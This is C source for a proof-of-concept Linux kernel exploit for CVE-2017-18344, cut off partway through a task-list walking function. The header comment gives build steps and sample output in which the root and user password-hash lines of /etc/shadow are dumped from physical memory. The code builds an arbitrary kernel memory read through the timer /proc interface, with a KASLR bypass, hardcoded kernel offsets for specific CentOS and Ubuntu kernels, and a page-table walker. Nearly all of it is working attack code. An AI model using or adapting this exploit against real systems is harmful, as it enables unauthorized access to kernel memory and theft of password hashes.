// A proof-of-concept exploit for CVE-2017-18344.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// No support for 1 GB pages or 5 level page tables.
// Tested on Ubuntu xenial 4.4.0-116-generic and 4.13.0-38-generic
// and on CentOS 7 3.10.0-862.9.1.el7.x86_64.
//
// gcc pwn.c -o pwn
//
// $ ./pwn search 'root:!:'
// [.] setting up proc reader
// [~] done
// [.] checking /proc/cpuinfo
// [~] looks good
// [.] setting up timer
// [~] done
// [.] finding leak pointer address
// [+] done: 000000022ca45b60
// [.] mapping leak pointer page
// [~] done
// [.] divide_error:     ffffffffad6017b0
// [.] kernel text:      ffffffffacc00000
// [.] page_offset_base: ffffffffade48a90
// [.] physmap:          ffff8d40c0000000
// [.] task->mm->pgd:    ffffffffade0a000
// [.] searching [0000000000000000, 00000000f524d000) for 'root:!:':
// [.] now at 0000000000000000
// [.] now at 0000000002000000
// [.] now at 0000000004000000
// ...
// [.] now at 000000008c000000
// [.] now at 000000008e000000
// [.] now at 0000000090000000
// [+] found at 0000000090ff3000
// [+] done
//
// $ ./pwn phys 0000000090ff3000 1000 shadow
// [.] setting up proc reader
// [~] done
// [.] checking /proc/cpuinfo
// [~] looks good
// [.] setting up timer
// [~] done
// [.] finding leak pointer address
// [+] done: 000000022ca45b60
// [.] mapping leak pointer page
// [~] done
// [.] divide_error:     ffffffffad6017b0
// [.] kernel text:      ffffffffacc00000
// [.] page_offset_base: ffffffffade48a90
// [.] physmap:          ffff8d40c0000000
// [.] task->mm->pgd:    ffffffffade0a000
// [.] dumping physical memory [0000000090ff3000, 0000000090ff4000):
// [+] done
//
// $ cat shadow 
// root:!:17612:0:99999:7:::
// daemon:*:17590:0:99999:7:::
// bin:*:17590:0:99999:7:::
// ...
// saned:*:17590:0:99999:7:::
// usbmux:*:17590:0:99999:7:::
// user:$1$7lXXXXSv$rvXXXXXXXXXXXXXXXXXhr/:17612:0:99999:7:::
//
// Andrey Konovalov <andreyknvl@gmail.com>
 
#define _GNU_SOURCE
 
#include <assert.h>
#include <ctype.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
 
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/sysinfo.h>
#include <sys/syscall.h>
#include <sys/types.h>
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
#define DEBUG 0
 
// CentOS 7 3.10.0-862.9.1.el7.x86_64
#define KERNEL_START            0xffffffff81000000ul
#define O_DIVIDE_ERROR          (0xffffffff81723a40ul - KERNEL_START)
#define O_INIT_TASK         (0xffffffff81c16480ul - KERNEL_START)
#define O_INIT_MM           (0xffffffff81c914a0ul - KERNEL_START)
#define O_PAGE_OFFSET_BASE      (0xffffffff81c41440ul - KERNEL_START)
#define O_TASK_STRUCT_TASKS     1072
#define O_TASK_STRUCT_MM        1128
#define O_TASK_STRUCT_PID       1188
#define O_MM_STRUCT_MMAP        0
#define O_MM_STRUCT_PGD         88
#define O_VM_AREA_STRUCT_VM_START   0
#define O_VM_AREA_STRUCT_VM_END     8
#define O_VM_AREA_STRUCT_VM_NEXT    16
#define O_VM_AREA_STRUCT_VM_FLAGS   80
 
#if 0
// Ubuntu xenial 4.4.0-116-generic
#define KERNEL_START            0xffffffff81000000ul
#define O_DIVIDE_ERROR          (0xffffffff81851240ul - KERNEL_START)
#define O_INIT_TASK         (0xffffffff81e13500ul - KERNEL_START)
#define O_INIT_MM           (0xffffffff81e73c80ul - KERNEL_START)
#define O_PAGE_OFFSET_BASE      0
#define O_TASK_STRUCT_TASKS     848
#define O_TASK_STRUCT_MM        928
#define O_TASK_STRUCT_PID       1096
#define O_MM_STRUCT_MMAP        0
#define O_MM_STRUCT_PGD         64
#define O_VM_AREA_STRUCT_VM_START   0
#define O_VM_AREA_STRUCT_VM_END     8
#define O_VM_AREA_STRUCT_VM_NEXT    16
#define O_VM_AREA_STRUCT_VM_FLAGS   80
#endif
 
#if 0
// Ubuntu xenial 4.13.0-38-generic
#define KERNEL_START            0xffffffff81000000ul
#define O_DIVIDE_ERROR          (0xffffffff81a017b0ul - KERNEL_START)
#define O_INIT_TASK         (0xffffffff82212480ul - KERNEL_START)
#define O_INIT_MM           (0xffffffff82302760ul - KERNEL_START)
#define O_PAGE_OFFSET_BASE      (0xffffffff82248a90ul - KERNEL_START)
#define O_TASK_STRUCT_TASKS     2048
#define O_TASK_STRUCT_MM        2128
#define O_TASK_STRUCT_PID       2304
#define O_MM_STRUCT_MMAP        0
#define O_MM_STRUCT_PGD         80
#define O_VM_AREA_STRUCT_VM_START   0
#define O_VM_AREA_STRUCT_VM_END     8
#define O_VM_AREA_STRUCT_VM_NEXT    16
#define O_VM_AREA_STRUCT_VM_FLAGS   80
#endif
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
#ifndef SYS_memfd_create
#define SYS_memfd_create    319
#endif
 
#ifndef O_PATH
#define O_PATH          010000000
#endif
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
#define PAGE_SHIFT      12
#define PAGE_SIZE       (1ul << PAGE_SHIFT)
#define PAGE_MASK       (~(PAGE_SIZE - 1))
 
#define HUGE_PAGE_SHIFT     21
#define HUGE_PAGE_SIZE      (1ul << HUGE_PAGE_SHIFT)
#define HUGE_PAGE_MASK      (~(HUGE_PAGE_SIZE - 1))
 
#define TASK_SIZE       (1ul << 47)
#define PAGE_OFFSET_BASE    0xffff880000000000ul
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
#define LOG_INFO    1
#define LOG_DEBUG   2
 
#define log(level, format, args...)                 \
    do {                                \
        if (level == LOG_INFO)                  \
            printf(format, ## args);            \
        else                            \
            fprintf(stderr, format, ## args);       \
    } while(0)
 
#define info(format, args...) log(LOG_INFO, format, ## args)
 
#if (DEBUG >= 1)
#define debug1(format, args...) log(LOG_DEBUG, format, ## args)
#else
#define debug1(format, args...)
#endif
 
#if (DEBUG >= 2)
#define debug2(format, args...) log(LOG_DEBUG, format, ## args)
#else
#define debug2(format, args...)
#endif
 
#define min(x, y) ((x) < (y) ? (x) : (y))
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
static void print_chunk(int level, unsigned long src_addr, char *buffer,
                int len, int chunk_size) {
    int i;
 
    assert(len <= chunk_size);
 
    log(level, "%016lx: ", src_addr);
    for (i = 0; i < len; i++)
        log(level, "%02hx ", (unsigned char)buffer[i]);
    for (i = len; i < chunk_size; i++)
        log(level, "   ");
 
    log(level, "  ");
 
    for (i = 0; i < len; i++) {
        if (isalnum(buffer[i]))
            log(level, "%c", buffer[i]);
        else
            log(level, ".");
    }
 
    log(level, "\n");
}
 
static void print_bytes(int level, unsigned long src_addr, char *buffer,
                int len) {
    int chunk_size = 16;
    assert(chunk_size % 2 == 0);
 
    int chunk;
    for (chunk = 0; chunk < len / chunk_size; chunk++)
        print_chunk(level, src_addr + chunk * chunk_size,
            &buffer[chunk * chunk_size], chunk_size, chunk_size);
 
    int rem = len % chunk_size;
    if (rem != 0)
        print_chunk(level, src_addr + len - rem,
            &buffer[len - rem], rem, chunk_size);
}
 
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
#define MIN_KERNEL_BASE 0xffffffff81000000ul
#define MAX_KERNEL_BASE 0xffffffffff000000ul
#define MAX_KERNEL_IMAGE 0x8000000ul // 128 MB
 
#define MMAP_ADDR_SPAN (MAX_KERNEL_BASE - MIN_KERNEL_BASE + MAX_KERNEL_IMAGE)
#define MMAP_ADDR_START 0x200000000ul
#define MMAP_ADDR_END (MMAP_ADDR_START + MMAP_ADDR_SPAN)
 
#define OPTIMAL_PTR_OFFSET ((MMAP_ADDR_START - MIN_KERNEL_BASE) / 8)
// == 0x4fe00000
 
#define MAX_MAPPINGS 1024
#define MEMFD_SIZE (MMAP_ADDR_SPAN / MAX_MAPPINGS)
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
static struct proc_reader g_proc_reader;
static unsigned long g_leak_ptr_addr = 0;
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
#define PROC_INITIAL_SIZE 1024
#define PROC_CHUNK_SIZE 1024
 
struct proc_reader {
    char *buffer;
    int buffer_size;
    int read_size;
};
 
static void proc_init(struct proc_reader* pr) {
    debug2("proc_init: %016lx\n", pr);
 
    pr->buffer = malloc(PROC_INITIAL_SIZE);
    if (pr->buffer == NULL) {
        perror("[-] proc_init: malloc()");
        exit(EXIT_FAILURE);
    }
    pr->buffer_size = PROC_INITIAL_SIZE;
    pr->read_size = 0;
 
    debug2("proc_init = void\n");
}
 
static void proc_ensure_size(struct proc_reader* pr, int size) {
    if (pr->buffer_size >= size)
        return;
    while (pr->buffer_size < size)
        pr->buffer_size <<= 1;
    pr->buffer = realloc(pr->buffer, pr->buffer_size);
    if (pr->buffer == NULL) {
        perror("[-] proc_ensure_size: realloc()");
        exit(EXIT_FAILURE);
    }
}
 
static int proc_read(struct proc_reader* pr, const char *file) {
    debug2("proc_read: file: %s, pr->buffer_size: %d\n",
            file, pr->buffer_size);
 
    int fd = open(file, O_RDONLY);
    if (fd == -1) {
        perror("[-] proc_read: open()");
        exit(EXIT_FAILURE);
    }
 
    pr->read_size = 0;
    while (true) {
        proc_ensure_size(pr, pr->read_size + PROC_CHUNK_SIZE);
        int bytes_read = read(fd, &pr->buffer[pr->read_size],
                    PROC_CHUNK_SIZE);
        if (bytes_read == -1) {
            perror("[-] read(proc)");
            exit(EXIT_FAILURE);
        }
        pr->read_size += bytes_read;
        if (bytes_read < PROC_CHUNK_SIZE)
            break;
    }
 
    close(fd);
 
    debug2("proc_read = %d\n", pr->read_size);
    return pr->read_size;
}
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
typedef union k_sigval {
    int sival_int;
    void *sival_ptr;
} k_sigval_t;
 
#define __ARCH_SIGEV_PREAMBLE_SIZE  (sizeof(int) * 2 + sizeof(k_sigval_t))
#define SIGEV_MAX_SIZE  64
#define SIGEV_PAD_SIZE  ((SIGEV_MAX_SIZE - __ARCH_SIGEV_PREAMBLE_SIZE) \
                / sizeof(int))
 
typedef struct k_sigevent {
    k_sigval_t sigev_value;
    int sigev_signo;
    int sigev_notify;
    union {
        int _pad[SIGEV_PAD_SIZE];
        int _tid;
 
        struct {
            void (*_function)(sigval_t);
            void *_attribute;
        } _sigev_thread;
    } _sigev_un;
} k_sigevent_t;
 
static void leak_setup() {
    k_sigevent_t se;
    memset(&se, 0, sizeof(se));
    se.sigev_signo = SIGRTMIN;
    se.sigev_notify = OPTIMAL_PTR_OFFSET;
    timer_t timerid = 0;
 
    int rv = syscall(SYS_timer_create, CLOCK_REALTIME,
                (void *)&se, &timerid);
    if (rv != 0) {
        perror("[-] timer_create()");
        exit(EXIT_FAILURE);
    }
}
 
static void leak_parse(char *in, int in_len, char **start, char **end) {
    const char *needle = "notify: ";
    *start = memmem(in, in_len, needle, strlen(needle));
    assert(*start != NULL);
    *start += strlen(needle);
 
    assert(in_len > 0);
    assert(in[in_len - 1] == '\n');
    *end = &in[in_len - 2];
    while (*end > in && **end != '\n')
        (*end)--;
    assert(*end > in);
    while (*end > in && **end != '/')
        (*end)--;
    assert(*end > in);
    assert((*end)[1] = 'p' && (*end)[2] == 'i' && (*end)[3] == 'd');
 
    assert(*end >= *start);
}
 
static void leak_once(char **start, char **end) {
    int read_size = proc_read(&g_proc_reader, "/proc/self/timers");
    leak_parse(g_proc_reader.buffer, read_size, start, end);
}
 
static int leak_once_and_copy(char *out, int out_len) {
    assert(out_len > 0);
 
    char *start, *end;
    leak_once(&start, &end);
 
    int size = min(end - start, out_len);
    memcpy(out, start, size);
 
    if (size == out_len)
        return size;
 
    out[size] = 0;
    return size + 1;
}
 
static void leak_range(unsigned long addr, size_t length, char *out) {
    size_t total_leaked = 0;
    while (total_leaked < length) {
        unsigned long addr_to_leak = addr + total_leaked;
        *(unsigned long *)g_leak_ptr_addr = addr_to_leak;
        debug2("leak_range: offset %ld, addr: %lx\n",
            total_leaked, addr_to_leak);
        int leaked = leak_once_and_copy(out + total_leaked,
            length - total_leaked);
        total_leaked += leaked;
    }
}
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
static void mmap_fixed(unsigned long addr, size_t size) {
    void *rv = mmap((void *)addr, size, PROT_READ | PROT_WRITE,
            MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (rv != (void *)addr) {
        perror("[-] mmap()");
        exit(EXIT_FAILURE);
    }
}
 
static void mmap_fd_over(int fd, unsigned long fd_size, unsigned long start,
            unsigned long end) {
    int page_size = PAGE_SIZE;
    assert(fd_size % page_size == 0);
    assert(start % page_size == 0);
    assert(end % page_size == 0);
    assert((end - start) % fd_size == 0);
 
    debug1("mmap_fd_over: [%lx, %lx)\n", start, end);
 
    unsigned long addr;
    for (addr = start; addr < end; addr += fd_size) {
        void *rv = mmap((void *)addr, fd_size, PROT_READ,
                MAP_FIXED | MAP_PRIVATE, fd, 0);
        if (rv != (void *)addr) {
            perror("[-] mmap()");
            exit(EXIT_FAILURE);
        }
    }
 
    debug1("mmap_fd_over = void\n");
}
 
static void remap_fd_over(int fd, unsigned long fd_size, unsigned long start,
            unsigned long end) {
    int rv = munmap((void *)start, end - start);
    if (rv != 0) {
        perror("[-] munmap()");
        exit(EXIT_FAILURE);
    }
    mmap_fd_over(fd, fd_size, start, end);
}
 
#define MEMFD_CHUNK_SIZE 0x1000
 
static int create_filled_memfd(const char *name, unsigned long size,
                unsigned long value) {
    int i;
    char buffer[MEMFD_CHUNK_SIZE];
 
    assert(size % MEMFD_CHUNK_SIZE == 0);
 
    int fd = syscall(SYS_memfd_create, name, 0);
    if (fd < 0) {
        perror("[-] memfd_create()");
        exit(EXIT_FAILURE);
    }
 
    for (i = 0; i < sizeof(buffer) / sizeof(value); i++)
        *(unsigned long *)&buffer[i * sizeof(value)] = value;
 
    for (i = 0; i < size / sizeof(buffer); i++) {
        int bytes_written = write(fd, &buffer[0], sizeof(buffer));
        if (bytes_written != sizeof(buffer)) {
            perror("[-] write(memfd)");
            exit(EXIT_FAILURE);
        }
    }
 
    return fd;
}
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
static const char *evil = "evil";
static const char *good = "good";
 
static bool bisect_probe() {
    char *start, *end;
    leak_once(&start, &end);
    return *start == 'g';
}
 
static unsigned long bisect_via_memfd(unsigned long fd_size,
                unsigned long start, unsigned long end) {
    assert((end - start) % fd_size == 0);
 
    int fd_evil = create_filled_memfd("evil", fd_size, (unsigned long)evil);
    int fd_good = create_filled_memfd("good", fd_size, (unsigned long)good);
 
    unsigned long left = 0;
    unsigned long right = (end - start) / fd_size;
 
    while (right - left > 1) {
        unsigned long middle = left + (right - left) / 2;
        remap_fd_over(fd_evil, fd_size, start + left * fd_size,
                start + middle * fd_size);
        remap_fd_over(fd_good, fd_size, start + middle * fd_size,
                start + right * fd_size);
        bool probe = bisect_probe();
        if (probe)
            left = middle;
        else
            right = middle;
    }
 
    int rv = munmap((void *)start, end - start);
    if (rv != 0) {
        perror("[-] munmap()");
        exit(EXIT_FAILURE);
    }
 
    close(fd_evil);
    close(fd_good);
 
    return start + left * fd_size;
}
 
static unsigned long bisect_via_assign(unsigned long start, unsigned long end) {
    int word_size = sizeof(unsigned long);
 
    assert((end - start) % word_size == 0);
    assert((end - start) % PAGE_SIZE == 0);
 
    mmap_fixed(start, end - start);
 
    unsigned long left = 0;
    unsigned long right = (end - start) / word_size;
 
    while (right - left > 1) {
        unsigned long middle = left + (right - left) / 2;
        unsigned long a;
        for (a = left; a < middle; a++)
            *(unsigned long *)(start + a * word_size) =
                (unsigned long)evil;
        for (a = middle; a < right; a++)
            *(unsigned long *)(start + a * word_size) =
                (unsigned long)good;
        bool probe = bisect_probe();
        if (probe)
            left = middle;
        else
            right = middle;
    }
 
    int rv = munmap((void *)start, end - start);
    if (rv != 0) {
        perror("[-] munmap()");
        exit(EXIT_FAILURE);
    }
 
    return start + left * word_size;
}
 
static unsigned long bisect_leak_ptr_addr() {
    unsigned long addr = bisect_via_memfd(
            MEMFD_SIZE, MMAP_ADDR_START, MMAP_ADDR_END);
    debug1("%lx %lx\n", addr, addr + MEMFD_SIZE);
    addr = bisect_via_memfd(PAGE_SIZE, addr, addr + MEMFD_SIZE);
    debug1("%lx %lx\n", addr, addr + PAGE_SIZE);
    addr = bisect_via_assign(addr, addr + PAGE_SIZE);
    debug1("%lx\n", addr);
    return addr;
}
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
#define CPUINFO_SMEP    1
#define CPUINFO_SMAP    2
#define CPUINFO_KAISER  4
#define CPUINFO_PTI 8
 
static int cpuinfo_scan() {
    int length = proc_read(&g_proc_reader, "/proc/cpuinfo");
    char *buffer = &g_proc_reader.buffer[0];
    int rv = 0;
    char* found = memmem(buffer, length, "smep", 4);
    if (found != NULL)
        rv |= CPUINFO_SMEP;
    found = memmem(buffer, length, "smap", 4);
    if (found != NULL)
        rv |= CPUINFO_SMAP;
    found = memmem(buffer, length, "kaiser", 4);
    if (found != NULL)
        rv |= CPUINFO_KAISER;
    found = memmem(buffer, length, " pti", 4);
    if (found != NULL)
        rv |= CPUINFO_PTI;
    return rv;
}
 
static void cpuinfo_check() {
    int rv = cpuinfo_scan();
    if (rv & CPUINFO_SMAP) {
        info("[-] SMAP detected, no bypass available, aborting\n");
        exit(EXIT_FAILURE);
    }
}
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
static void arbitrary_read_init() {
    info("[.] setting up proc reader\n");
    proc_init(&g_proc_reader);
    info("[~] done\n");
 
    info("[.] checking /proc/cpuinfo\n");
    cpuinfo_check();
    info("[~] looks good\n");
 
    info("[.] setting up timer\n");
    leak_setup();
    info("[~] done\n");
 
    info("[.] finding leak pointer address\n");
    g_leak_ptr_addr = bisect_leak_ptr_addr();
    info("[+] done: %016lx\n", g_leak_ptr_addr);
 
    info("[.] mapping leak pointer page\n");
    mmap_fixed(g_leak_ptr_addr & ~(PAGE_SIZE - 1), PAGE_SIZE);
    info("[~] done\n");
}
 
static void read_range(unsigned long addr, size_t length, char *buffer) {
    leak_range(addr, length, buffer);
}
 
static uint64_t read_8(unsigned long addr) {
    uint64_t result;
    read_range(addr, sizeof(result), (char *)&result);
    return result;
}
 
static uint32_t read_4(unsigned long addr) {
    uint32_t result;
    read_range(addr, sizeof(result), (char *)&result);
    return result;
}
 
static uint64_t read_field_8(unsigned long addr, int offset) {
    return read_8(addr + offset);
}
 
static uint64_t read_field_4(unsigned long addr, int offset) {
    return read_4(addr + offset);
}
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
struct idt_register {
    uint16_t length;
    uint64_t base;
} __attribute__((packed));
 
struct idt_gate {
    uint16_t offset_1; // bits 0..15
    uint32_t shit_1;
    uint16_t offset_2; // bits 16..31
    uint32_t offset_3; // bits 32..63
    uint32_t shit_2;
} __attribute__((packed));
 
static uint64_t idt_gate_addr(struct idt_gate *gate) {
    uint64_t addr = gate->offset_1 + ((uint64_t)gate->offset_2 << 16) +
        ((uint64_t)gate->offset_3 << 32);
    return addr;
}
 
static void get_idt(struct idt_register *idtr) {
    asm ( "sidt %0" : : "m"(*idtr) );
    debug1("get_idt_base: base: %016lx, length: %d\n",
            idtr->base, idtr->length);
}
 
static void print_idt(int entries) {
    char buffer[4096];
    struct idt_register idtr;
    int i;
 
    get_idt(&idtr);
    assert(idtr.length <= sizeof(buffer));
    read_range(idtr.base, idtr.length, &buffer[0]);
 
    info("base: %016lx, length: %d\n", idtr.base,
            (int)idtr.length);
 
    entries = min(entries, idtr.length / sizeof(struct idt_gate));
    for (i = 0; i < entries; i++) {
        struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i;
        uint64_t addr = idt_gate_addr(gate);
        info("gate #%03d: %016lx\n", i, addr);
    }
}
 
static uint64_t read_idt_gate(int i) {
    char buffer[4096];
    struct idt_register idtr;
 
    get_idt(&idtr);
    assert(idtr.length <= sizeof(buffer));
    assert(i <= idtr.length / sizeof(struct idt_gate));
    read_range(idtr.base, idtr.length, &buffer[0]);
 
    struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i;
    uint64_t addr = idt_gate_addr(gate);
    return addr;
}
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
#define PTRS_PER_PGD        512
#define PTRS_PER_PUD        512
#define PTRS_PER_PMD        512
#define PTRS_PER_PTE        512
 
#define PGD_SHIFT       39
#define PUD_SHIFT       30
#define PMD_SHIFT       21
 
#define pgd_index(addr)     (((addr) >> PGD_SHIFT) & (PTRS_PER_PGD - 1))
#define pud_index(addr)     (((addr) >> PUD_SHIFT) & (PTRS_PER_PUD - 1))
#define pmd_index(addr)     (((addr) >> PMD_SHIFT) & (PTRS_PER_PMD - 1))
#define pte_index(addr)     (((addr) >> PAGE_SHIFT) & (PTRS_PER_PTE - 1))
 
#define _PAGE_BIT_PRESENT   0
#define _PAGE_BIT_ACCESSED  5
#define _PAGE_BIT_DIRTY     6
#define _PAGE_BIT_PSE       7
#define _PAGE_BIT_GLOBAL    8
#define _PAGE_BIT_PROTNONE  _PAGE_BIT_GLOBAL
 
#define _PAGE_PRESENT       (1ul << _PAGE_BIT_PRESENT)
#define _PAGE_ACCESSED      (1ul << _PAGE_BIT_ACCESSED)
#define _PAGE_DIRTY     (1ul << _PAGE_BIT_DIRTY)
#define _PAGE_PSE       (1ul << _PAGE_BIT_PSE)
#define _PAGE_PROTNONE      (1ul << _PAGE_BIT_PROTNONE)
#define _PAGE_KNL_ERRATUM_MASK  (_PAGE_DIRTY | _PAGE_ACCESSED)
 
#define pgd_none(value)     ((value) == 0)
#define pud_none(value)     (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)
#define pmd_none(value)     (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)
#define pte_none(value)     (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)
 
#define __PHYSICAL_MASK_SHIFT   52
#define __PHYSICAL_MASK     ((1ul << __PHYSICAL_MASK_SHIFT) - 1)
#define PHYSICAL_PAGE_MASK  (PAGE_MASK & __PHYSICAL_MASK)
#define PTE_PFN_MASK        (PHYSICAL_PAGE_MASK)
#define PTE_FLAGS_MASK      (~PTE_PFN_MASK)
 
#define pgd_flags(value)    (value & PTE_FLAGS_MASK)
#define pud_flags(value)    (value & PTE_FLAGS_MASK)
#define pmd_flags(value)    (value & PTE_FLAGS_MASK)
#define pte_flags(value)    (value & PTE_FLAGS_MASK)
 
#define pgd_present(value)  (pgd_flags(value) & _PAGE_PRESENT)
#define pud_present(value)  (pud_flags(value) & _PAGE_PRESENT)
#define pmd_present(value)  (pmd_flags(value) & (_PAGE_PRESENT | \
                    _PAGE_PROTNONE | _PAGE_PSE))
#define pte_present(value)  (pte_flags(value) & (_PAGE_PRESENT | \
                    _PAGE_PROTNONE))
 
struct pte_entry {
    unsigned long       addr;
    unsigned long       entries[PTRS_PER_PTE];
};
 
struct pmd_entry {
    unsigned long       addr;
    struct {
        bool                huge;
        union {
            struct pte_entry    *pte;
            unsigned long       phys;
        };
    }           entries[PTRS_PER_PMD];
};
 
struct pud_entry {
    unsigned long       addr;
    struct pmd_entry    *entries[PTRS_PER_PUD];
};
 
struct pgd_entry {
    unsigned long       addr;
    struct pud_entry    *entries[PTRS_PER_PGD];
};
 
struct ptsc {
    unsigned long       physmap;
    struct pgd_entry    entry;
};
 
static struct pte_entry *ptsc_alloc_pte_entry(unsigned long addr) {
    struct pte_entry *entry = malloc(sizeof(*entry));
    if (!entry) {
        perror("[-] malloc()");
        exit(EXIT_FAILURE);
    }
    entry->addr = addr;
    memset(&entry->entries[0], 0, sizeof(entry->entries));
    return entry;
}
 
static struct pmd_entry *ptsc_alloc_pmd_entry(unsigned long addr) {
    struct pmd_entry *entry = malloc(sizeof(*entry));
    if (!entry) {
        perror("[-] malloc()");
        exit(EXIT_FAILURE);
    }
    entry->addr = addr;
    memset(&entry->entries[0], 0, sizeof(entry->entries));
    return entry;
}
 
static struct pud_entry *ptsc_alloc_pud_entry(unsigned long addr) {
    struct pud_entry *entry = malloc(sizeof(*entry));
    if (!entry) {
        perror("[-] malloc()");
        exit(EXIT_FAILURE);
    }
    entry->addr = addr;
    memset(&entry->entries[0], 0, sizeof(entry->entries));
    return entry;
}
 
static void ptsc_init(struct ptsc* ptsc, unsigned long physmap,
                unsigned long pgd) {
    ptsc->physmap = physmap;
    ptsc->entry.addr = pgd;
    memset(&ptsc->entry.entries[0], 0, sizeof(ptsc->entry.entries));
}
 
static unsigned long ptsc_page_virt_to_phys(struct ptsc* ptsc,
                        unsigned long addr) {
    struct pgd_entry *pgd_e;
    struct pud_entry *pud_e;
    struct pmd_entry *pmd_e;
    struct pte_entry *pte_e;
    unsigned long phys_a;
    int index;
 
    debug1("looking up phys addr for %016lx:\n", addr);
 
    pgd_e = &ptsc->entry;
 
    index = pgd_index(addr);
    debug1(" pgd: %016lx, index: %d\n", pgd_e->addr, index);
    if (!pgd_e->entries[index]) {
        unsigned long pgd_v = read_8(
            pgd_e->addr + index * sizeof(unsigned long));
        debug1("   -> %016lx\n", pgd_v);
        if (pgd_none(pgd_v)) {
            debug1(" not found, pgd is none\n");
            return 0;
        }
        if (!pgd_present(pgd_v)) {
            debug1(" not found, pgd is not present\n");
            return 0;
        }
        unsigned long pud_a =
            ptsc->physmap + (pgd_v & PHYSICAL_PAGE_MASK);
        pud_e = ptsc_alloc_pud_entry(pud_a);
        pgd_e->entries[index] = pud_e;
    }
    pud_e = pgd_e->entries[index];
 
    index = pud_index(addr);
    debug1(" pud: %016lx, index: %d\n", pud_e->addr, index);
    if (!pud_e->entries[index]) {
        unsigned long pud_v = read_8(
            pud_e->addr + index * sizeof(unsigned long));
        debug1("   -> %016lx\n", pud_v);
        if (pud_none(pud_v)) {
            debug1(" not found, pud is none\n");
            return 0;
        }
        if (!pud_present(pud_v)) {
            debug1(" not found, pud is not present\n");
            return 0;
        }
        unsigned long pmd_a =
            ptsc->physmap + (pud_v & PHYSICAL_PAGE_MASK);
        pmd_e = ptsc_alloc_pmd_entry(pmd_a);
        pud_e->entries[index] = pmd_e;
    }
    pmd_e = pud_e->entries[index];
 
    index = pmd_index(addr);
    debug1(" pmd: %016lx, index: %d\n", pmd_e->addr, index);
    if (!pmd_e->entries[index].pte) {
        unsigned long pmd_v = read_8(
            pmd_e->addr + index * sizeof(unsigned long));
        debug1("   -> %016lx\n", pmd_v);
        if (pmd_none(pmd_v)) {
            debug1(" not found, pmd is none\n");
            return 0;
        }
        if (!pmd_present(pmd_v)) {
            debug1(" not found, pmd is not present\n");
            return 0;
        }
        if (pmd_flags(pmd_v) & _PAGE_PSE) {
            phys_a = ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK) +
                    (addr & ~HUGE_PAGE_MASK);
            pmd_e->entries[index].phys = phys_a;
            pmd_e->entries[index].huge = true;
        } else {
            unsigned long pte_a =
                ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK);
            pte_e = ptsc_alloc_pte_entry(pte_a);
            pmd_e->entries[index].pte = pte_e;
            pmd_e->entries[index].huge = false;
        }
    }
 
    if (pmd_e->entries[index].huge) {
        debug1(" phy: %016lx (huge)\n", phys_a);
        return pmd_e->entries[index].phys;
    }
 
    pte_e = pmd_e->entries[index].pte;
 
    index = pte_index(addr);
    debug1(" pte: %016lx, index: %d\n", pte_e->addr, index);
    if (!pte_e->entries[index]) {
        unsigned long pte_v = read_8(
            pte_e->addr + index * sizeof(unsigned long));
        debug1("   -> %016lx\n", pte_v);
        if (pte_none(pte_v)) {
            debug1(" not found, pte is none\n");
            return 0;
        }
        if (!pte_present(pte_v)) {
            debug1(" not found, pte is not present\n");
            return 0;
        }
        phys_a = ptsc->physmap + (pte_v & PHYSICAL_PAGE_MASK) +
                (addr & ~PAGE_MASK);
        pte_e->entries[index] = phys_a;
    }
    phys_a = pte_e->entries[index];
 
    return phys_a;
}
 
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 
static unsigned long find_task_by_pid(unsigned long init_task, unsigned pid) {
    unsigned long cur_task = init_task;
     
    while (true) {
        unsigned cur_pid =
            read_field_4(cur_task, O_TASK_STRUCT_PID);
        if (cur_pid == pid)
            return cur_task;
        unsigned long task_next_ptr =
            read_field_8(cur_task, O_TASK_STRUCT_TASKS);
        cur_task = task_next_ptr - O_TASK_STRUCT_TASKS;
        if (cur_task == init_task)
            return 0;
